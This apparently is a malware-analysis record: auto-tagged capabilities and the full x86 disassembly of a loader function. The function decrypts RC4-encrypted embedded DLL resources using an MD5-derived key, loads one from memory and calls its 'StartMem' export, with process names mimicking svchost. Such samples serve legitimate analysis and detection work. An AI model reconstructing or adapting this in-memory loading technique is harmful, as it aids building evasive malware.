Function at 0x401080
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Extract resource via kernel32 functions
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a4
push ebx
push esi
push edi
mov dword [ebp - 0x428], 0
mov dword [ebp - 0x478], 0
mov dword [ebp - 0x474], 0
mov dword [ebp - 0x480], 0
mov ax, 0x45ff
mov bx, 0x32aa
add ax, bx
mov cx, 0x67aa
add ax, cx
push str.INJECT_DLL
push 0x8c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x474], eax
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x424]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x474]
push eax
push str.Size_res_From_memory:__d_n
lea ecx, [ebp - 0x424]
push ecx
call fcn.0040273f
add esp, 0xc
push str.INJECT_DLL
push 0x8c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x4a0], eax
mov ecx, 8
mov esi, dword [ebp - 0x4a0]
lea edi, [ebp - 0x470]
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp - 0x474]
sub edx, 0x20
push edx
call fcn.00402605
add esp, 4
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x474]
sub ecx, 0x20
mov esi, dword [ebp - 0x4a0]
add esi, 0x20
mov edi, dword [ebp - 0x428]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebp - 0x474]
sub ecx, 0x20
mov dword [ebp - 0x474], ecx
lea edi, [ebp - 0x470]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov dword [ebp - 0x494], ecx
push 0xf0000000
push 1
push 0
push 0
lea edx, [ebp - 0x4a4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x4011d4
xor eax, eax
jmp 0x4015da
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0x8003
mov ecx, dword [ebp - 0x4a4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x4011f9
xor eax, eax
jmp 0x4015da
push 0
mov edx, dword [ebp - 0x494]
push edx
lea eax, [ebp - 0x470]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x40121e
xor eax, eax
jmp 0x4015da
lea edx, [ebp - 0x484]
push edx
push 1
mov eax, dword [ebp - 0x18]
push eax
push 0x6801
mov ecx, dword [ebp - 0x4a4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x401248
xor eax, eax
jmp 0x4015da
mov edx, dword [ebp - 0x474]
mov dword [ebp - 0x430], edx
lea eax, [ebp - 0x430]
push eax
mov ecx, dword [ebp - 0x428]
push ecx
push 0
push 1
push 0
mov edx, dword [ebp - 0x484]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x401294
push 0x40
push str.TestExe
push str.Error_encrypted
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x4015da
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x424]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x430]
push eax
push str.Size_res_From_memory:__d_n
lea ecx, [ebp - 0x424]
push ecx
call fcn.0040273f
add esp, 0xc
mov edx, dword [ebp - 0x428]
push edx
call fcn.004017a0
add esp, 4
mov dword [ebp - 0x490], eax
push 0xa
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x490]
push ecx
call fcn.004088cc
add esp, 0xc
mov edx, dword [ebp - 0x490]
push edx
call fcn.00402605
add esp, 4
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x49c]
push eax
mov ecx, dword [ebp - 0x430]
push ecx
mov edx, dword [ebp - 0x428]
push edx
call fcn.004017d0
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jle 0x401357
cmp dword [ebp - 0x20], 5
jg 0x401357
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x424]
rep stosd dword es:[edi], eax
mov eax, dword [ebp - 0x20]
push eax
push str.Error_of_decompress_inject_DLL:__d_n
lea ecx, [ebp - 0x424]
push ecx
call fcn.0040273f
add esp, 0xc
xor eax, eax
jmp 0x4015da
push str.MAIN_DLL
push 0x8d
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x480], eax
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x424]
rep stosd dword es:[edi], eax
mov edx, dword [ebp - 0x480]
push edx
push str.Size_res_From_memory:__d_n
lea eax, [ebp - 0x424]
push eax
call fcn.0040273f
add esp, 0xc
push str.MAIN_DLL
push 0x8d
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x48c], eax
mov ecx, 8
mov esi, dword [ebp - 0x48c]
lea edi, [ebp - 0x450]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x480]
sub ecx, 0x20
push ecx
call fcn.00402605
add esp, 4
mov dword [ebp - 0x478], eax
mov ecx, dword [ebp - 0x480]
sub ecx, 0x20
mov esi, dword [ebp - 0x48c]
add esi, 0x20
mov edi, dword [ebp - 0x478]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0x480]
sub eax, 0x20
mov dword [ebp - 0x480], eax
lea edi, [ebp - 0x450]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov dword [ebp - 0x14], ecx
push 0xf0000000
push 1
push 0
push 0
lea ecx, [ebp - 0x47c]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x401462
xor eax, eax
jmp 0x4015da
lea edx, [ebp - 0x24]
push edx
push 0
push 0
push 0x8003
mov eax, dword [ebp - 0x47c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x401487
xor eax, eax
jmp 0x4015da
push 0
mov ecx, dword [ebp - 0x14]
push ecx
lea edx, [ebp - 0x450]
push edx
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x4014a9
xor eax, eax
jmp 0x4015da
lea ecx, [ebp - 4]
push ecx
push 1
mov edx, dword [ebp - 0x24]
push edx
push 0x6801
mov eax, dword [ebp - 0x47c]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x4014d0
xor eax, eax
jmp 0x4015da
mov ecx, dword [ebp - 0x480]
mov dword [ebp - 0x488], ecx
lea edx, [ebp - 0x488]
push edx
mov eax, dword [ebp - 0x478]
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x401519
push 0x40
push str.TestExe
push str.Error_encrypted
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x4015da
mov ecx, 0x100
xor eax, eax
lea edi, [ebp - 0x424]
rep stosd dword es:[edi], eax
mov edx, dword [ebp - 0x488]
push edx
push str.Size_res_From_memory:__d_n
lea eax, [ebp - 0x424]
push eax
call fcn.0040273f
add esp, 0xc
mov ecx, dword [ebp - 0x49c]
push ecx
call fcn.00401d40
add esp, 4
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0
jne 0x401579
push 0x40
push str.svhosts.exe
push str.Cant_load_library_from_memory._n
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x4015da
push str.StartMem
mov edx, dword [ebp - 0x42c]
push edx
call fcn.00402430
add esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x4015ae
push 0x40
push str.svhosts.exe
push str.Cant_find_procedure_StartMem_from_memory._n
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
jmp 0x4015da
mov eax, dword [ebp - 0x478]
push eax
call dword [ebp - 0x1c]
add esp, 4
mov dword [ebp - 0x498], eax
push 0x40
push str.svhost.exe
push 0x40b054
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret